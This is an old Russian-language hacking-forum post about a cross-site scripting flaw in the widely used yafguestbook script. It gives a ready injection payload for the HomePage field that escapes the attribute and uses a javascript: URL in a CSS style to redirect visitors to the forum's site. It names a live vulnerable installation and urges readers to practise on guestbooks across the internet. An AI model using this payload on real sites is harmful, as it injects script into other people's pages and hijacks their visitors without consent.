Уязвимость гостевой книги  yafguestbook

Discussion in 'Уязвимости' started by Егорыч+++, 13 May 2004.

  1. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Кавычки конечно экранируются, но это не помеха. В общем вставляем в HomePage следующий код:

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">"><div id=vv>http://antichat.ru</div><a style=background-image:url(javascript:navigate(vv[0].innerText));[/QUOTE]<span id='postcolor'>

    И получаем редирект на АНТИЧАТ

    Адрес гостевой http://www.snipe.net/geek/scripts/yafguestbook.php

    И еще данная гостевая книга в инете очень сильно распространена. Так что тренируйтесь.